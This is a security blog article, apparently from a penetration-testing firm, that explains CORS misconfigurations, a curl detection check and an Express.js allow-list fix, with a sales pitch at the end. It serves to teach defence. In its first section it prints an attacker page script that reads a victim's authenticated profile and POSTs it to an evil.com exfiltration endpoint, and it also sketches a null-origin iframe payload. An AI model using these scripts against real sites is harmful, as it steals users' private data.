CORS Misconfigurations: Deep-Dive on the Common Bypasses

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 25, 2026
2 min read

Last updated: April 26, 2026

CORS (Cross-Origin Resource Sharing) is one of the most-misconfigured browser security mechanisms. CORS allows controlled cross-origin requests; misconfigured CORS allows attacker websites to read authenticated user data. This article covers the misconfigurations, exploitation, and the safe defaults.

The mechanism

By default, browsers prevent cross-origin reads. CORS lets a server opt-in to allow specific origins. Server response headers:

  • Access-Control-Allow-Origin — which origins can read
  • Access-Control-Allow-Credentials: true — whether cookies are sent
  • Access-Control-Allow-Methods — which HTTP methods
  • Access-Control-Allow-Headers — which custom headers

The misconfigurations

1. Reflective Origin with Allow-Credentials

# Vulnerable server:
Access-Control-Allow-Origin: <reflects request Origin>
Access-Control-Allow-Credentials: true

# Attacker page (evil.com):
fetch('https://target.com/api/profile', { credentials: 'include' })
  .then(r => r.json())
  .then(data => fetch('https://evil.com/exfil', { method: 'POST', body: JSON.stringify(data) }));

# Browser sends victim's cookies; server responds with Allow-Origin: https://evil.com;
# Browser allows JS to read; attacker exfiltrates.

2. Origin null trusted

# Some servers allow Origin: null
# Attacker triggers null origin via sandboxed iframe or file:// protocol
# <iframe sandbox srcdoc="<script>fetch('target.com', {credentials:'include'})</script>">

3. Permissive subdomain wildcard

# Vulnerable: any subdomain trusted
Access-Control-Allow-Origin matches: ^https?://.*\.target\.com$

# If attacker controls a subdomain (subdomain takeover):
# attacker-takenover.target.com can read API
# Cross-origin reads via takenover subdomain

4. Insufficient regex validation

# Server: trusts origins matching ^https://.*target\.com$
# Attacker: https://evil.com.target-attacker.com
# Some regex implementations match incorrectly

Detection workflow

# Test with multiple Origin values, observe response:
curl -H "Origin: https://evil.com" https://target.com/api/endpoint -I
# Look for Access-Control-Allow-Origin reflected, with Allow-Credentials: true

# Burp Active Scanner identifies CORS misconfigs
# CORScanner (open source) automates testing

# Use https://crashtest-security.com or PortSwigger labs for hands-on practice

The fix

  • Allow-list specific origins, not wildcard. Maintain in config.
  • Never reflect Origin without validation
  • Don’t combine wildcard origin with Allow-Credentials (browsers refuse this combination, but custom implementations sometimes accept it)
  • Validate origin via exact-match, not regex (regex bugs cause false-positives)
  • Reject origin null
// Express.js example
const allowedOrigins = ['https://app.target.com', 'https://admin.target.com'];
app.use(cors({
  origin: (origin, callback) => {
    if (!origin) return callback(null, false);
    if (allowedOrigins.includes(origin)) callback(null, true);
    else callback(new Error('Not allowed by CORS'));
  },
  credentials: true,
  methods: ['GET', 'POST'],
  maxAge: 600
}));

The takeaway

CORS misconfiguration is reflective Origin + Allow-Credentials together. Test every API with attacker-controlled Origin headers. The fix is exact-match allow-list maintained in config. Never reflect Origin from request to response.

Need a real pentest?

Get a VAPT scoping call

Senior practitioner-led VAPT — not a checklist run by juniors. CVSS-scored findings, free retest, attestation letter. India's SMBs and SaaS teams.

Book VAPT scoping call Replies in 4 working hrs · India-only · Senior consultants